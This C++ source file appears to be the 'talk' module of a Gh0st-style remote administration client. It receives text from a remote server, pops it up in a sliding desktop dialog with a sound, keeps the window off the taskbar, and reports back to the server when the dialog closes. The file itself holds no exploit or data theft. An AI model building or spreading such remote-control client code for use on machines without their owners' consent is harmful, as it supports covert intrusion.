// TalkManager.cpp: implementation of the CTalkManager class. // ////////////////////////////////////////////////////////////////////// #include "stdafx.h" #include "TalkManager.h" #include "Common.h" #include "resource.h" #include #include #pragma comment(lib, "WINMM.LIB") using namespace std; #define ID_TIMER_POP_WINDOW 1 #define ID_TIMER_DELAY_DISPLAY 2 #define ID_TIMER_CLOSE_WINDOW 3 #define WIN_WIDTH 360 #define WIN_HEIGHT 200 ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// char g_Buffer[TALK_DLG_MAXLEN] = {0}; UINT_PTR g_Event = 0; IOCPClient* g_IOCPClientObject = NULL; extern HINSTANCE g_hInstance; CTalkManager::CTalkManager(IOCPClient* ClientObject, int n):CManager(ClientObject) { BYTE bToken = TOKEN_TALK_START; //包含头文件 Common.h m_ClientObject->OnServerSending((char*)&bToken, 1); g_IOCPClientObject = ClientObject; WaitForDialogOpen(); Mprintf("Talk 构造\n"); } CTalkManager::~CTalkManager() { Mprintf("Talk 析构\n"); } VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { switch(szBuffer[0]) { case COMMAND_NEXT: { NotifyDialogIsOpen(); break; } default: { memcpy(g_Buffer, szBuffer, min(ulLength, sizeof(g_Buffer))); //创建一个DLG DialogBox(g_hInstance,MAKEINTRESOURCE(IDD_DIALOG), NULL,DialogProc); //SDK C MFC C++ break; } } } int CALLBACK CTalkManager::DialogProc(HWND hDlg, unsigned int uMsg, WPARAM wParam, LPARAM lParam) { switch(uMsg) { case WM_TIMER: { OnDlgTimer(hDlg); break; } case WM_INITDIALOG: { // 获取当前窗口样式 LONG_PTR exStyle = GetWindowLongPtr(hDlg, GWL_EXSTYLE); // 移除 WS_EX_APPWINDOW 样式,添加 WS_EX_TOOLWINDOW 样式 exStyle &= ~WS_EX_APPWINDOW; exStyle |= WS_EX_TOOLWINDOW; SetWindowLongPtr(hDlg, GWL_EXSTYLE, exStyle); OnInitDialog(hDlg); break; } case WM_COMMAND: if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL) { KillTimer(hDlg, ID_TIMER_CLOSE_WINDOW); BYTE bToken = TOKEN_TALKCMPLT; g_IOCPClientObject->OnServerSending((char*)&bToken, 1); EndDialog(hDlg, LOWORD(wParam)); return (INT_PTR)TRUE; } break; } return 0; } VOID CTalkManager::OnInitDialog(HWND hDlg) { MoveWindow(hDlg, 0, 0, 0, 0, TRUE); static HICON hIcon = LoadIcon(NULL, MAKEINTRESOURCE(IDI_ICON_MSG)); ::SendMessage(hDlg, WM_SETICON, (WPARAM)hIcon, (LPARAM)hIcon); SetDlgItemText(hDlg,IDC_EDIT_MESSAGE,g_Buffer); ::SetFocus(GetDesktopWindow()); memset(g_Buffer,0,sizeof(g_Buffer)); g_Event = ID_TIMER_POP_WINDOW; SetTimer(hDlg, g_Event, 1, NULL); //时钟回调 PlaySound(MAKEINTRESOURCE(IDR_WAVE), g_hInstance,SND_ASYNC|SND_RESOURCE|SND_NODEFAULT); } VOID CTalkManager::OnDlgTimer(HWND hDlg) //时钟回调 { RECT Rect; static int Height=0; SystemParametersInfo(SPI_GETWORKAREA, 0, &Rect,0); int y=Rect.bottom-Rect.top;; int x=Rect.right-Rect.left; x=x-WIN_WIDTH; switch(g_Event) { case ID_TIMER_CLOSE_WINDOW: { if(Height>=0) { Height-=5; MoveWindow(hDlg, x,y-Height, WIN_WIDTH, Height,TRUE); } else { KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW); BYTE bToken = TOKEN_TALKCMPLT; // 包含头文件 Common.h g_IOCPClientObject->OnServerSending((char*)&bToken, 1); // 发送允许重新发送的指令 EndDialog(hDlg,0); } break; } case ID_TIMER_DELAY_DISPLAY: { KillTimer(hDlg,ID_TIMER_DELAY_DISPLAY); g_Event = ID_TIMER_CLOSE_WINDOW; SetTimer(hDlg,g_Event, 5, NULL); break; } case ID_TIMER_POP_WINDOW: { if(Height<=WIN_HEIGHT) { Height+=3; MoveWindow(hDlg ,x, y-Height, WIN_WIDTH, Height,TRUE); } else { KillTimer(hDlg,ID_TIMER_POP_WINDOW); g_Event = ID_TIMER_DELAY_DISPLAY; SetTimer(hDlg,g_Event, 4000, NULL); } break; } } }